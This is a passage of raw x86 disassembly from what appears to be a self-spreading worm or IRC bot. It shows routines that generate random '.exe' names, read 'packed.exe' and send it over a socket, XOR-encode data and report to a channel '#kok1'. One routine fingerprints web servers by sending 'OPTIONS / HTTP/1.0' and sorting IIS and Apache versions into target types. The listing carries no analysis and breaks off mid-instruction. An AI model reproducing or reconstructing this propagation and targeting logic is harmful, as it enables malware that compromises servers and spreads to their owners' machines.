loc_412649 ; --------------------------------------------------------------------------- loc_41269C: ; CODE XREF: sub_4125DF+B9j mov eax, [ebp+var_10] mov ecx, [ebp+var_8] mov [eax+3], ecx mov eax, [ebp+var_10] mov ecx, [ebp+var_1C] mov [eax+9], ecx mov al, byte_41CB95 mov byte ptr [ebp+var_C], al jmp short loc_4126C8 ; --------------------------------------------------------------------------- loc_4126B8: ; CODE XREF: sub_4125DF+104j call sub_410461 mov byte ptr [ebp+var_C], al mov al, byte ptr [ebp+var_C] mov byte_41CB95, al loc_4126C8: ; CODE XREF: sub_4125DF+D7j push [ebp+var_C] push [ebp+arg_1C] push [ebp+arg_18] push [ebp+var_14] push [ebp+var_4] call sub_412448 add esp, 14h test eax, eax jz short loc_4126E5 jmp short loc_4126B8 ; --------------------------------------------------------------------------- loc_4126E5: ; CODE XREF: sub_4125DF+102j mov eax, [ebp+var_10] mov cl, byte ptr [ebp+var_C] mov [eax+12h], cl and [ebp+var_18], 0 jmp short loc_4126FB ; --------------------------------------------------------------------------- loc_4126F4: ; CODE XREF: sub_4125DF+137j mov eax, [ebp+var_18] inc eax mov [ebp+var_18], eax loc_4126FB: ; CODE XREF: sub_4125DF+113j mov eax, [ebp+var_18] cmp eax, [ebp+var_14] jnb short loc_412718 mov eax, [ebp+var_4] add eax, [ebp+var_18] mov al, [eax] xor al, byte ptr [ebp+var_C] mov ecx, [ebp+var_4] add ecx, [ebp+var_18] mov [ecx], al jmp short loc_4126F4 ; --------------------------------------------------------------------------- loc_412718: ; CODE XREF: sub_4125DF+122j mov eax, [ebp+var_14] add eax, 1Ch locret_41271E: ; CODE XREF: sub_4125DF+Ej ; sub_4125DF+49j leave retn sub_4125DF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412720 proc near ; CODE XREF: sub_412A3A+Cp ; sub_412BC9+DFp ... var_194 = dword ptr -194h var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_E4 = byte ptr -0E4h var_10 = byte ptr -10h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 194h push 8 push 4 call sub_4103F5 pop ecx pop ecx mov [ebp+var_194], eax and [ebp+var_190], 0 loc_412741: ; CODE XREF: sub_412720:loc_41278Aj push 7Ah push 61h call sub_4103F5 pop ecx pop ecx mov ecx, [ebp+var_190] mov [ebp+ecx+var_10], al mov eax, [ebp+var_190] inc eax mov [ebp+var_190], eax mov eax, [ebp+var_190] cmp eax, [ebp+var_194] jnz short loc_41278A push offset a_exe ; ".exe" mov eax, [ebp+var_190] lea eax, [ebp+eax+var_10] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_41278C ; --------------------------------------------------------------------------- loc_41278A: ; CODE XREF: sub_412720+4Fj jmp short loc_412741 ; --------------------------------------------------------------------------- loc_41278C: ; CODE XREF: sub_412720+68j push 17Ch push offset dword_41CA18 lea eax, [ebp+var_18C] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_10] push eax lea eax, [ebp+var_E4] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx push 17Ch lea eax, [ebp+var_18C] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch leave retn sub_412720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4127D0 proc near ; CODE XREF: sub_412A3A+14Dp ; sub_412BC9+133p ... var_24C = byte ptr -24Ch var_22C = byte ptr -22Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 24Ch cmp dword_41EAEC, 0 jnz loc_4128A0 mov dword_41EAEC, 1 and [ebp+var_20C], 0 jmp short loc_412806 ; --------------------------------------------------------------------------- loc_4127F9: ; CODE XREF: sub_4127D0:loc_41289Bj mov eax, [ebp+var_20C] inc eax mov [ebp+var_20C], eax loc_412806: ; CODE XREF: sub_4127D0+27j mov eax, [ebp+var_20C] imul eax, 0Ch cmp off_41DA40[eax], 0 jz loc_4128A0 push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41DA40[eax] lea eax, [ebp+var_22C] push eax call sub_407A56 add esp, 0Ch push 20h mov eax, [ebp+var_20C] imul eax, 0Ch push off_41CBA0[eax] lea eax, [ebp+var_24C] push eax call sub_407A56 add esp, 0Ch lea eax, [ebp+var_22C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax call sub_4105AD pop ecx lea eax, [ebp+var_24C] push eax lea eax, [ebp+var_22C] push eax call sub_416DDE ; strcmp pop ecx pop ecx test eax, eax jz short loc_41289B mov dword_41EAF0, 1 jmp short loc_4128A0 ; --------------------------------------------------------------------------- loc_41289B: ; CODE XREF: sub_4127D0+BDj jmp loc_4127F9 ; --------------------------------------------------------------------------- loc_4128A0: ; CODE XREF: sub_4127D0+10j ; sub_4127D0+46j ... cmp dword_41EAF0, 0 jz short loc_4128AE push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128AE: ; CODE XREF: sub_4127D0+D7j push offset aRb ; "rb" push offset aPacked_exe_0 ; "packed.exe" call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_4128CC xor eax, eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_4128CC: ; CODE XREF: sub_4127D0+F6j and [ebp+var_4], 0 loc_4128D0: ; CODE XREF: sub_4127D0+145j push [ebp+var_8] push 200h push 1 lea eax, [ebp+var_208] push eax call sub_416B90 ; fread add esp, 10h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412900 push [ebp+var_8] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_412917 ; --------------------------------------------------------------------------- loc_412900: ; CODE XREF: sub_4127D0+120j push [ebp+var_4] lea eax, [ebp+var_208] push eax push [ebp+arg_0] call sub_4053BF add esp, 0Ch jmp short loc_4128D0 ; --------------------------------------------------------------------------- locret_412917: ; CODE XREF: sub_4127D0+DCj ; sub_4127D0+FAj ... leave retn sub_4127D0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412919 proc near ; CODE XREF: sub_412BC9+E8p ; cAddress:00412D6Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412938 xor eax, eax jmp short locret_41294C ; --------------------------------------------------------------------------- loc_412938: ; CODE XREF: sub_412919+19j push 0 push 4 lea eax, [ebp+var_4] push eax push [ebp+arg_0] call dword_417248 ; recv mov eax, [ebp+var_4] locret_41294C: ; CODE XREF: sub_412919+1Dj leave retn sub_412919 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41294E proc near ; CODE XREF: sub_412BC9+115p ; cAddress:00412D91p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 and [ebp+var_8], 0 jmp short loc_412964 ; --------------------------------------------------------------------------- loc_41295D: ; CODE XREF: sub_41294E:loc_4129C3j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_412964: ; CODE XREF: sub_41294E+Dj mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz short loc_4129C5 mov eax, [ebp+var_8] imul eax, 3Ah mov eax, dword_41CCCE[eax] cmp eax, [ebp+arg_0] jnz short loc_4129C3 mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCA8 mov [ebp+var_4], eax push 3Ah mov eax, [ebp+var_8] imul eax, 3Ah add eax, offset byte_41CCA8 push eax push [ebp+arg_4] call sub_416B52 ; memcpy add esp, 0Ch push [ebp+arg_4] call sub_4105FB pop ecx mov eax, [ebp+arg_4] add eax, 13h push eax call sub_4105FB pop ecx jmp short loc_4129C5 ; --------------------------------------------------------------------------- loc_4129C3: ; CODE XREF: sub_41294E+34j jmp short loc_41295D ; --------------------------------------------------------------------------- loc_4129C5: ; CODE XREF: sub_41294E+23j ; sub_41294E+73j mov eax, [ebp+var_4] leave retn sub_41294E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4129CA proc near ; CODE XREF: sub_412A3A+16Bp ; sub_412BC9+15Ap ... var_104 = dword ptr -104h var_100 = byte ptr -100h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 104h push 1 mov eax, [ebp+arg_0] add eax, 2Ah push eax call sub_409C88 pop ecx pop ecx mov [ebp+var_104], eax lea eax, [ebp+var_100] push eax push [ebp+arg_8] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_412A11 push offset aUnknown_0 ; "unknown" lea eax, [ebp+var_100] push eax call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412A11: ; CODE XREF: sub_4129CA+32j lea eax, [ebp+var_100] push eax mov eax, [ebp+var_104] inc eax push eax push [ebp+arg_C] push [ebp+arg_4] push offset dword_41A1D0 push offset aKok1 ; "#kok1" call sub_40D4AB add esp, 18h leave retn sub_4129CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A3A proc near ; CODE XREF: cAddress:00413466p var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = byte ptr -248h var_235 = byte ptr -235h var_222 = dword ptr -222h var_20C = dword ptr -20Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 250h push [ebp+arg_4] call sub_412720 pop ecx push 3Ah push [ebp+arg_0] lea eax, [ebp+var_248] push eax call sub_416B52 ; memcpy add esp, 0Ch lea eax, [ebp+var_248] push eax call sub_4105FB pop ecx lea eax, [ebp+var_235] push eax call sub_4105FB pop ecx lea eax, [ebp+var_20C+3] mov [ebp+var_8], eax push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch and [ebp+var_4], 0 jmp short loc_412AA6 ; --------------------------------------------------------------------------- loc_412A9F: ; CODE XREF: sub_412A3A+8Aj ; sub_412A3A:loc_412B7Fj mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412AA6: ; CODE XREF: sub_412A3A+63j cmp [ebp+var_4], 3Ch jnz short loc_412AB1 jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AB1: ; CODE XREF: sub_412A3A+70j push 3E8h push [ebp+arg_4] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_412AC6 jmp short loc_412A9F ; --------------------------------------------------------------------------- loc_412AC6: ; CODE XREF: sub_412A3A+88j push 200h push [ebp+var_8] push [ebp+arg_4] call sub_4053DC add esp, 0Ch mov [ebp+var_24C], eax cmp [ebp+var_24C], 0FFFFFFFFh jnz short loc_412AED jmp locret_412BC7 ; --------------------------------------------------------------------------- loc_412AED: ; CODE XREF: sub_412A3A+ACj cmp [ebp+var_24C], 0 jz short loc_412B69 and [ebp+var_250], 0 jmp short loc_412B0C ; --------------------------------------------------------------------------- loc_412AFF: ; CODE XREF: sub_412A3A:loc_412B34j mov eax, [ebp+var_250] inc eax mov [ebp+var_250], eax loc_412B0C: ; CODE XREF: sub_412A3A+C3j mov eax, [ebp+var_250] cmp eax, [ebp+var_24C] jnb short loc_412B36 mov eax, [ebp+var_250] mov eax, [ebp+eax+var_20C] cmp eax, [ebp+var_222] jnz short loc_412B34 jmp loc_412BC5 ; --------------------------------------------------------------------------- loc_412B34: ; CODE XREF: sub_412A3A+F3j jmp short loc_412AFF ; --------------------------------------------------------------------------- loc_412B36: ; CODE XREF: sub_412A3A+DEj push 3 mov eax, [ebp+var_24C] mov ecx, [ebp+var_8] lea eax, [ecx+eax-3] push eax lea eax, [ebp+var_20C] push eax call sub_416B52 ; memcpy add esp, 0Ch push 200h push 0 push [ebp+var_8] call sub_416B6A ; memset add esp, 0Ch jmp short loc_412B7F ; --------------------------------------------------------------------------- loc_412B69: ; CODE XREF: sub_412A3A+BAj push 203h push 0 lea eax, [ebp+var_20C] push eax call sub_416B6A ; memset add esp, 0Ch loc_412B7F: ; CODE XREF: sub_412A3A+12Dj jmp loc_412A9F ; --------------------------------------------------------------------------- loc_412B84: ; CODE XREF: sub_412A3A:loc_412BC5j push [ebp+arg_4] call sub_4127D0 pop ecx test eax, eax jnz short loc_412B93 jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412B93: ; CODE XREF: sub_412A3A+155j push offset dword_41CC40 push [ebp+arg_4] lea eax, [ebp+var_248] push eax push [ebp+arg_0] call sub_4129CA add esp, 10h push 1 push [ebp+arg_4] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep jmp short locret_412BC7 ; --------------------------------------------------------------------------- loc_412BC5: ; CODE XREF: sub_412A3A+F5j jmp short loc_412B84 ; --------------------------------------------------------------------------- locret_412BC7: ; CODE XREF: sub_412A3A+72j ; sub_412A3A+AEj ... leave retn sub_412A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412BC9 proc near ; CODE XREF: cAddress:00413483p var_85C = dword ptr -85Ch var_858 = dword ptr -858h var_854 = dword ptr -854h var_850 = dword ptr -850h var_84C = byte ptr -84Ch var_810 = dword ptr -810h var_80C = dword ptr -80Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 85Ch push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_404FE7 add esp, 0Ch mov [ebp+var_8], eax mov [ebp+var_854], 3Ch and [ebp+var_850], 0 and [ebp+var_810], 0 loc_412BFD: ; CODE XREF: sub_412BC9+A9j and [ebp+var_85C], 0 jmp short loc_412C13 ; --------------------------------------------------------------------------- loc_412C06: ; CODE XREF: sub_412BC9:loc_412C35j mov eax, [ebp+var_85C] inc eax mov [ebp+var_85C], eax loc_412C13: ; CODE XREF: sub_412BC9+3Bj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnb short loc_412C37 mov eax, [ebp+var_85C] mov eax, [ebp+eax*4+var_80C] cmp eax, [ebp+var_8] jnz short loc_412C35 jmp short loc_412C37 ; --------------------------------------------------------------------------- loc_412C35: ; CODE XREF: sub_412BC9+68j jmp short loc_412C06 ; --------------------------------------------------------------------------- loc_412C37: ; CODE XREF: sub_412BC9+56j ; sub_412BC9+6Aj mov eax, [ebp+var_85C] cmp eax, [ebp+var_810] jnz short loc_412C6E cmp [ebp+var_810], 200h jnb short loc_412C6E mov eax, [ebp+var_85C] mov ecx, [ebp+var_8] mov [ebp+eax*4+var_80C], ecx mov eax, [ebp+var_810] inc eax mov [ebp+var_810], eax loc_412C6E: ; CODE XREF: sub_412BC9+7Aj ; sub_412BC9+86j xor eax, eax test eax, eax jnz short loc_412BFD lea eax, [ebp+var_854] push eax push 0 lea eax, [ebp+var_810] push eax push 0 push 0 call dword_41722C ; select mov [ebp+var_C], eax cmp [ebp+var_C], 1 jz short loc_412CA5 push [ebp+var_8] call sub_4053B1 pop ecx jmp locret_412D4A ; --------------------------------------------------------------------------- loc_412CA5: ; CODE XREF: sub_412BC9+CCj push [ebp+var_8] call sub_412720 pop ecx push [ebp+var_8] call sub_412919 pop ecx mov [ebp+var_858], eax cmp [ebp+var_858], 0 jnz short loc_412CD1 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CD1: ; CODE XREF: sub_412BC9+FBj lea eax, [ebp+var_84C] push eax push [ebp+var_858] call sub_41294E pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_412CF9 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412CF9: ; CODE XREF: sub_412BC9+123j push [ebp+var_8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412D11 push [ebp+var_8] call sub_4053B1 pop ecx jmp short locret_412D4A ; --------------------------------------------------------------------------- loc_412D11: ; CODE XREF: sub_412BC9+13Bj push offset dword_41CC44 push [ebp+var_8] lea eax, [ebp+var_84C] push eax push [ebp+var_4] call sub_4129CA add esp, 10h push 1 push [ebp+var_8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push [ebp+var_8] call sub_4053B1 pop ecx locret_412D4A: ; CODE XREF: sub_412BC9+D7j ; sub_412BC9+106j ... leave retn sub_412BC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412D4C proc near ; CODE XREF: cAddress:loc_413420p push ebp mov ebp, esp mov eax, offset dword_41EAF4 pop ebp retn sub_412D4C endp ; --------------------------------------------------------------------------- loc_412D56: ; DATA XREF: cAddress:00412ECEo push ebp mov ebp, esp sub esp, 48h mov eax, [ebp+8] mov [ebp-8], eax push dword ptr [ebp-8] call sub_412720 pop ecx push dword ptr [ebp-8] call sub_412919 pop ecx mov [ebp-48h], eax cmp dword ptr [ebp-48h], 0 jnz short loc_412D8A push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412D8A: ; CODE XREF: cAddress:00412D7Bj lea eax, [ebp-44h] push eax push dword ptr [ebp-48h] call sub_41294E pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_412DAE push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DAE: ; CODE XREF: cAddress:00412D9Fj push dword ptr [ebp-8] call sub_4127D0 pop ecx test eax, eax jnz short loc_412DC8 push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax jmp short locret_412E00 ; --------------------------------------------------------------------------- loc_412DC8: ; CODE XREF: cAddress:00412DB9j push offset dword_41CC48 push dword ptr [ebp-8] lea eax, [ebp-44h] push eax push dword ptr [ebp-4] call sub_4129CA add esp, 10h push 1 push dword ptr [ebp-8] call dword_417200 ; shutdown push 3E8h call dword_41709C ; Sleep push dword ptr [ebp-8] call sub_4053B1 pop ecx xor eax, eax locret_412E00: ; CODE XREF: cAddress:00412D88j ; cAddress:00412DACj ... leave retn 4 ; --------------------------------------------------------------------------- loc_412E04: ; DATA XREF: sub_412F07+B0o push ebp mov ebp, esp sub esp, 1B8h push 1ADh push dword ptr [ebp+8] lea eax, [ebp-1B4h] push eax call sub_416B52 ; memcpy add esp, 0Ch push dword ptr [ebp+8] call sub_416B4C ; free pop ecx push 1 lea eax, [ebp-1B0h] push eax call sub_4046BC pop ecx pop ecx mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jnz short loc_412E59 push dword ptr [ebp-1B4h] call sub_409763 pop ecx xor eax, eax jmp locret_412F03 ; --------------------------------------------------------------------------- loc_412E59: ; CODE XREF: cAddress:00412E44j lea eax, [ebp-1B0h] push eax mov eax, [ebp-1B4h] push dword ptr [eax] push offset dword_41CC4C lea eax, [ebp-1AAh] push eax call sub_40D53F add esp, 10h lea eax, [ebp-1B0h] push eax push offset dword_41EAF4 call sub_416B3A ; _mbscpy pop ecx pop ecx loc_412E8F: ; CODE XREF: cAddress:00412EBBj ; cAddress:loc_412EEAj mov eax, [ebp-1B4h] cmp dword ptr [eax+4], 0 jz short loc_412E9D jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412E9D: ; CODE XREF: cAddress:00412E99j push 3E8h push dword ptr [ebp-4] call sub_4048EF pop ecx pop ecx mov [ebp-1B8h], eax cmp dword ptr [ebp-1B8h], 0FFFFFFFFh jnz short loc_412EBD jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EBD: ; CODE XREF: cAddress:00412EB9j cmp dword ptr [ebp-1B8h], 0 jnz short loc_412EC8 jmp short loc_412EEC ; --------------------------------------------------------------------------- loc_412EC8: ; CODE XREF: cAddress:00412EC4j push dword ptr [ebp-1B8h] push offset loc_412D56 call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_412EEA push dword ptr [ebp-1B8h] call sub_4053B1 pop ecx loc_412EEA: ; CODE XREF: cAddress:00412EDCj jmp short loc_412E8F ; --------------------------------------------------------------------------- loc_412EEC: ; CODE XREF: cAddress:00412E9Bj ; cAddress:00412EC6j push dword ptr [ebp-4] call sub_404CBB pop ecx push dword ptr [ebp-1B4h] call sub_409763 pop ecx xor eax, eax locret_412F03: ; CODE XREF: cAddress:00412E54j leave retn 4 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412F07 proc near ; CODE XREF: sub_40A9CF+F6Ep ; cAddress:00413763p ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch push 1ADh call sub_416B46 ; malloc pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_412F26 jmp locret_412FC4 ; --------------------------------------------------------------------------- loc_412F26: ; CODE XREF: sub_412F07+18j cmp [ebp+arg_4], 0 jz short loc_412F3A push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_C], eax jmp short loc_412F4E ; --------------------------------------------------------------------------- loc_412F3A: ; CODE XREF: sub_412F07+23j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_C], eax loc_412F4E: ; CODE XREF: sub_412F07+31j mov eax, [ebp+var_C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_412F63 cmp [ebp+var_4], 0FFFFh jbe short loc_412F77 loc_412F63: ; CODE XREF: sub_412F07+51j push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx mov [ebp+var_4], eax loc_412F77: ; CODE XREF: sub_412F07+5Aj push 0Ah mov eax, [ebp+var_8] add eax, 4 push eax push [ebp+var_4] call sub_416F7A ; _itoa add esp, 0Ch push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 0Ah push eax call sub_405F67 pop ecx pop ecx push [ebp+var_4] push offset dword_41CC84 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset loc_412E04 call sub_4095A4 add esp, 14h locret_412FC4: ; CODE XREF: sub_412F07+1Aj leave retn sub_412F07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412FC6 proc near ; CODE XREF: cAddress:004168CBp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 jmp short loc_412FD8 ; --------------------------------------------------------------------------- loc_412FD1: ; CODE XREF: sub_412FC6:loc_413088j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_412FD8: ; CODE XREF: sub_412FC6+9j mov eax, [ebp+var_4] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz locret_41308D mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_4] imul ecx, 3Ah mov ecx, dword_41CCCE[ecx] and ecx, 0FFh mov eax, off_41CCD6[eax] sub eax, ecx mov ecx, [ebp+var_4] imul ecx, 3Ah mov off_41CCD6[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah and dword_41CCD2[eax], 0 loc_413024: ; CODE XREF: sub_412FC6+7Ej ; sub_412FC6+BEj call sub_410422 mov ecx, [ebp+var_4] imul ecx, 3Ah mov dword_41CCCE[ecx], eax mov eax, [ebp+var_4] imul eax, 3Ah cmp dword_41CCCE[eax], 0 jnz short loc_413046 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413046: ; CODE XREF: sub_412FC6+7Cj and [ebp+var_8], 0 jmp short loc_413053 ; --------------------------------------------------------------------------- loc_41304C: ; CODE XREF: sub_412FC6:loc_413086j mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_413053: ; CODE XREF: sub_412FC6+84j mov eax, [ebp+var_8] imul eax, 3Ah cmp off_41CCD6[eax], 0 jz short loc_413088 mov eax, [ebp+var_4] cmp eax, [ebp+var_8] jz short loc_413086 mov eax, [ebp+var_4] imul eax, 3Ah mov ecx, [ebp+var_8] imul ecx, 3Ah mov eax, dword_41CCCE[eax] cmp eax, dword_41CCCE[ecx] jnz short loc_413086 jmp short loc_413024 ; --------------------------------------------------------------------------- loc_413086: ; CODE XREF: sub_412FC6+A2j ; sub_412FC6+BCj jmp short loc_41304C ; --------------------------------------------------------------------------- loc_413088: ; CODE XREF: sub_412FC6+9Aj jmp loc_412FD1 ; --------------------------------------------------------------------------- locret_41308D: ; CODE XREF: sub_412FC6+1Fj leave retn sub_412FC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41308F proc near ; CODE XREF: cAddress:00413390p var_820 = dword ptr -820h var_81C = dword ptr -81Ch var_818 = dword ptr -818h var_814 = dword ptr -814h var_810 = byte ptr -810h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 820h push 16h push offset aOptionsHttp1_0 ; "OPTIONS / HTTP/1.0\r\n\r\n" push [ebp+arg_0] call sub_4053BF add esp, 0Ch push 0EA60h push [ebp+arg_0] call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_4130C4 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130C4: ; CODE XREF: sub_41308F+2Cj push 0 push 800h lea eax, [ebp+var_810] push eax push [ebp+arg_0] call dword_417248 ; recv mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_4130F3 cmp [ebp+var_8], 0FFFFFFFFh jz short loc_4130F3 cmp [ebp+var_8], 800h jnz short loc_4130FA loc_4130F3: ; CODE XREF: sub_41308F+53j ; sub_41308F+59j xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4130FA: ; CODE XREF: sub_41308F+62j mov eax, [ebp+var_8] and [ebp+eax+var_810], 0 and [ebp+var_4], 0 push offset aServer ; "Server:" lea eax, [ebp+var_810] push eax call sub_416BA8 ; strstr pop ecx pop ecx mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_41312C xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41312C: ; CODE XREF: sub_41308F+94j lea eax, [ebp+var_4] push eax push offset dword_418F4C push [ebp+var_10] call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413150 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413150: ; CODE XREF: sub_41308F+B8j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_10], eax cmp [ebp+var_10], 0 jnz short loc_413173 xor eax, eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413173: ; CODE XREF: sub_41308F+DBj lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_C], eax push 0Dh push offset aMicrosoftIis ; "Microsoft-IIS" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41323C and [ebp+var_818], 0 and [ebp+var_814], 0 lea eax, [ebp+var_814] push eax lea eax, [ebp+var_818] push eax push offset aMicrosoftIisU_ ; "Microsoft-IIS/%u.%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 10h cmp [ebp+var_818], 4 jnz short loc_4131E9 cmp [ebp+var_814], 0 jnz short loc_4131E9 push 4 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_4131E9: ; CODE XREF: sub_41308F+147j ; sub_41308F+150j cmp [ebp+var_818], 5 jnz short loc_413203 cmp [ebp+var_814], 0 jnz short loc_413203 push 3 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413203: ; CODE XREF: sub_41308F+161j ; sub_41308F+16Aj cmp [ebp+var_818], 5 jnz short loc_41321D cmp [ebp+var_814], 5 jnz short loc_41321D push 2 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_41321D: ; CODE XREF: sub_41308F+17Bj ; sub_41308F+184j cmp [ebp+var_818], 6 jnz short loc_413237 cmp [ebp+var_814], 0 jnz short loc_413237 push 1 pop eax jmp locret_41331C ; --------------------------------------------------------------------------- loc_413237: ; CODE XREF: sub_41308F+195j ; sub_41308F+19Ej jmp loc_41331A ; --------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset aApacheU ; "Apache/%u" push [ebp+var_10] call sub_416BA2 ; sscanf add esp, 0Ch push 6 push offset aUnix ; "(Unix)" push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset aWin32 ; "(Win32)" push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short 